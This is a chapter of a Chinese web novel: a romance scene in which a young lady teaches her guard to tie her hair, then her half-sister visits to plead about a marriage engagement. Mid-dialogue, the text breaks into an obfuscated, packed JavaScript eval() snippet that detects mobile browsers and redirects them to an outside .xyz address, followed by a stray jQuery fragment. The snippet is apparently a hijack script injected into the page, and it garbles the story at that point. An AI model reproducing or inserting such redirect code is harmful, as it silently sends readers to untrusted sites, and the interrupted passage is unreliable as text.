32. 绾发

作品:《折棠

    如此一夜过去,虽然潘棠心中疑虑依旧,但可能真是那碗姜茶起了作用,她睡得很安稳。


    等第二天晨起已是巳时,正是太阳升起刚刚开始有暖意的时候。


    她注意到,今日外面好像格外安静,便自顾自起了床,推开窗,见到般若急匆匆跑进来。


    “娘子娘子,不好了!”


    般若扶着腰,喘了两口气,“曼姝病了。”


    “奴婢贪睡,平日都是曼姝叫奴婢起床,但今日都日上三竿了,奴婢见曼姝还在睡觉,一看果然是生病了。”


    曼姝体质弱,昨日又惊吓又受寒,还操劳着煮姜茶,难怪会病来如山倒。


    潘棠担忧道:“严重吗?我去看看。”


    但般若却将她拦住,“娘子还是别去了,万一也被过上了病气,曼姝也担待不起,奴婢能照顾好曼姝。”


    “那你那边缺什么都来和我说。请大夫来看了吗?”


    “没有,奴婢刚发现就跑来了。”


    潘棠转身去屋子里拿了些钱财,交到般若手上,“你用这些去市集请个好点的大夫,让抓什么药就抓什么药,别吝啬钱财。”


    “是。”般若跑得飞快,匆匆告退。


    潘棠独自坐在铜镜前,铜镜里少女满头乌发未绾,长发垂顺地披在身后,阳光下发丝透出浅金色光来。


    透亮的阳光将她脸上的小绒毛照得发白,霞明玉映,明媚好看。


    其实潘棠会的发式挺多,平日也常常自己绾发,但她的手艺还是不如曼姝的。若是曼姝来,绾出的发式饱满好看,每一缕发丝都是整齐的,比她自己绾的乱糟糟要好上万分。


    只是今日无法,曼姝生病了,她只好自己来。


    绾发前要先给凌乱的发尾梳顺,再抹上一层桂花油,这样不仅能养护头发,还能让发髻整齐。


    但她取出妆奁里的桂花油,看着一小盒的油却犯了难。要不还是不抹桂花油了?潘棠虽然很喜欢桂花油的香气,但其实不是很喜欢油沾到手上滑腻腻的感觉,她并不是很乐意碰这油。


    想了想,还是打算随便绾起来就算了。


    她打算给自己绾两个双鬟髻,但今日不知怎的,如何绾都绾不出自己满意的。想来可能是昨日夜里玉容给她绾的两个过于好看,导致今天她看不上自己绾的了。


    如此一想就觉得好笑,她赌气地将梳子往桌台上重重一放,叹出口气来。


    那就不绾了。


    潘棠一手支着脑袋,墨发披散,两缕发丝垂在耳侧,手肘杵在面前的桌子上,窗户大开,正是一日中阳光最好的时候。


    那个黑衣身影遥遥立在院落门口,沉默得像一座山。


    黑色圆领袍上金色的暗纹在光照下隐隐生光,蹀躞带束在腰间,将劲瘦的窄腰勾勒得恰到好处,再往下看,是一双修长笔直的腿。


    “阿酌。”她喊。


    他转身看向这边,神清骨秀,英气勃勃,一如冬日寒竹般挺拔。


    “你过来。”


    阿酌走进来,站在廊庑外,对窗户里的潘棠行礼。


    “你的伤寒好些了吗?曼姝病倒了,既然你也生病了,那不如今日也告假一日修养?”潘棠支着头,懒懒问他。


    “回二娘子,属下修养一日,病已经好了,无需修养。”


    “嗯?你倒是厉害,生个病好这样快。”


    潘棠仔细端详着他,见他一身气度确实不像是生病的模样,只是眼下有一团乌青,看上去是昨夜没睡好。


    不过应该没什么大事,潘棠想到第一天见到阿酌时,他都快死了,还吓跑个郎中,没想当晚一根人参服用下去,他竟然就自己好了,看来他身体确实不错,恢复能力很强。


    潘棠点点头,随后说出了自己的想法,“你左右站在院子门口无事,不如来替我绾发吧。”


    阿酌躬身,“属下手拙,不会绾发。”


    潘棠笑笑,继续逗他,“不会可以学嘛,你现在就进来我教你。你这样聪明肯定一学就会,你要是绾的好,我就让你每日来替我绾发,给你加工钱。”


    “二娘子赎罪,属下真的不会。”


    见他一再拒绝,潘棠叹一口气,“你这个小侍卫啊,口口声声说什么要保护我,对我唯命是从,但真要你做事时,我是一点都使唤不动你。”


    “是属下不敢。”


    “你不敢什么?”


    “二娘子,男女授受不亲。”


    “哦?那你抱我的时候想起自己是男子了吗?那你亲我的时候想起自己是男子了吗?”


    阿酌缄默,避开了她直勾勾的视线,但她的注视如有实质地笼罩着他,片刻没过,便红了耳根,他妥协道:“遵命。”


    阿酌走进屋子,站在潘棠身后,面前的铜镜里,潘棠能看见他的脸。


    她道:“我教你,你先帮我把发尾梳顺。”说着递给阿酌木梳。


    他不说话,只是接过了潘棠手中的木梳,轻轻将她背后的一缕头发牵起,捏住她头发的中段,仔细梳顺发尾。


    动作轻柔又仔细,像是呵护着手心里易碎的珍宝一般。


    背后,簌簌的响声传来,脖颈处痒痒的,潘棠盯着铜镜里他认真的模样,嘴角不自觉弯弯。


    “感觉你很熟练嘛。”


    等所有发尾都梳顺以后,潘棠将那一小罐桂花油递给他,道:“你先将这个放在掌心揉搓,在抹在我发尾处,记得别抹太多。”


    “是。”


    他将桂花油在掌心搓热,又拿起她头发了四分之一,将发尾细细抹上桂花油,发梢被他攥在掌心里,粘上油亮亮的光泽,变得更加柔顺乌黑。


    淡淡的桂花香气在空气里氤氲着,满室馨香。


    “好了,发油就涂到这吧。我想要梳双鬟髻。”


    潘棠从妆奁里取出两条和今日衣裙相配的鹅黄色发带,“就是我平日里梳的那种,先将头发分成左右两份,头顶的高高束起,剩下的弯成两个小环。”


    阿酌的动作停住,似乎是真的犯了难,两只手各拢了她一半的头发,却不知如何是好。


    “好了好了,不逗你了。”潘棠笑道。


    “用发带束发你总归会吧,你就用这两个发带将我头发绑起来就行了。放心吧,就算丑我也不罚你,你扎的我都喜欢。”


    阿酌拢起她一半的头发,在一侧绑了个海螺状的丸子,再缠上发带,不一会另一边也绑好了。


    潘棠看着镜中自己笑了笑,两个小丸子扎得毛茸茸的,小绒毛露在外面,有些乱,却看上去莫名可爱。


    “手艺不错啊,阿酌。看来你这梳头师傅的活真的可以担起来了。”


    “二娘子喜欢就好。”阿酌不自在地摸摸鼻子,因为潘棠的夸奖有些赧然。


    潘棠道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841260|155873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “今日曼姝病倒了,我们院的小厨房也不开火,你就去府中下人吃饭的厨房寻些吃食,若是有包子馒头什么的就给我带两个回来。”


    “要不要属下为您去东市买些回来?”


    “不必。”潘棠打了个哈欠,今日她胃口不佳,不想吃油腻的。


    ——


    这边二人说着话,另一边,院落的大门却被人叩响了。


    有丫鬟的喊声传来,“开门!有人在吗?”


    “你去开门看看,是谁大白天吵吵嚷嚷的。”潘棠皱眉道。


    阿酌前去将门打开,门口出现一个小丫鬟扶着个同样稚嫩的贵气小娘子。


    潘棠从窗户往外一看,这不正是潘府三娘子,潘萝。


    “竟是稀客,三娘子快里面请。”潘棠往门口喊道。


    那小丫鬟扶着潘萝进来,潘萝走进房间,对潘棠行礼道:“二姐姐好。”


    “请起。”


    潘棠笑眯眯的,大量着眼前这个同父异母的妹妹,她与潘萝并不相熟,一年也说不了几句话,甚至都碰不到面,对这妹妹的印象只停留在听话和柔弱。


    只是不知,她今日为何突然造访。


    潘萝在软椅上端正坐下,眉头却微微蹙起,“二姐姐的院子怎么.....如此寒酸?”


    潘棠瞪大眼睛,不可思议地看着这个柔弱的妹妹,反驳的话脱口而出,“哪里寒酸了?”


    这小院子里的一切都是阿姐入宫前她们一起布置的,在潘棠看来分外温馨,而且,她这屋子每年都会修缮,也养了许多花草,哪里寒酸?


    潘萝却认真思索了片刻,“也不是那么寒酸,就是和潘府的其他院子比起来,略显寒酸。”


    潘棠感觉自己被她打败了。


    她这个认真的语气,不像是在嘲讽,而是真心觉得.....寒酸。


    “好吧,行了行了,别管我这院子了,你来有什么事?直接说吧。”


    “是。”潘萝又站起身,对潘棠行了一礼后,道:“我是来求二姐姐,解除和赵郎君的婚约。”


    “赵澄?”


    潘棠恍然大悟,她怎么把这件事给忘了。潘萝一向心仪赵澄,她现在“抢”了人家的如意郎君,人家当然要来找她算账。


    可是找她有什么用呢?她也不想嫁赵澄啊!


    “二娘子怕是找错人了,你来找我,还不如去找父亲撒撒娇,说不定他疼你,招架不住,就同意你嫁赵澄了呢。”


    “没用的,二姐姐。父亲虽然宠爱我,但只限于平常生活中的小事,结亲一事兹事体大,父亲不会应允的。”


    潘棠挑眉,没想到这个二妹妹思路还很清晰,竟然能看清楚父亲的虚伪本质,不由得又多看了她几眼。


    “但我也没办法啊,我实话告诉你,我一点也不想嫁赵澄,我现在巴不得你们有情人终成眷属,放过我这个可怜人吧。”


    这次轮到潘萝震惊了,她道:“赵郎君英俊潇洒,为人仗义,性情直率,二姐姐竟然不喜欢赵郎君吗?”


    英俊潇洒?为人仗义?性情直率?


    哪个词是形容赵澄的?潘棠怀疑,潘萝认识的赵澄和她认识的不是一个人。


    “那听闻昨日,赵郎君邀请二姐姐一同游湖,郎情妾意,恩爱非常,这也是假的吗?”


    “什么?谁跟你这么说的!”


    潘棠气笑了。